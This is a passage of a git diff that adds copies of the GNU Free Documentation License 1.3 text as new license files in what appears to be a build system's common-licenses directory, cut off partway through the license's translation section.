+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-no-invariants-or-later b/meta/files/common-licenses/GFDL-1.3-no-invariants-or-later
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-no-invariants-or-later
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-only b/meta/files/common-licenses/GFDL-1.3-only
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-only
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
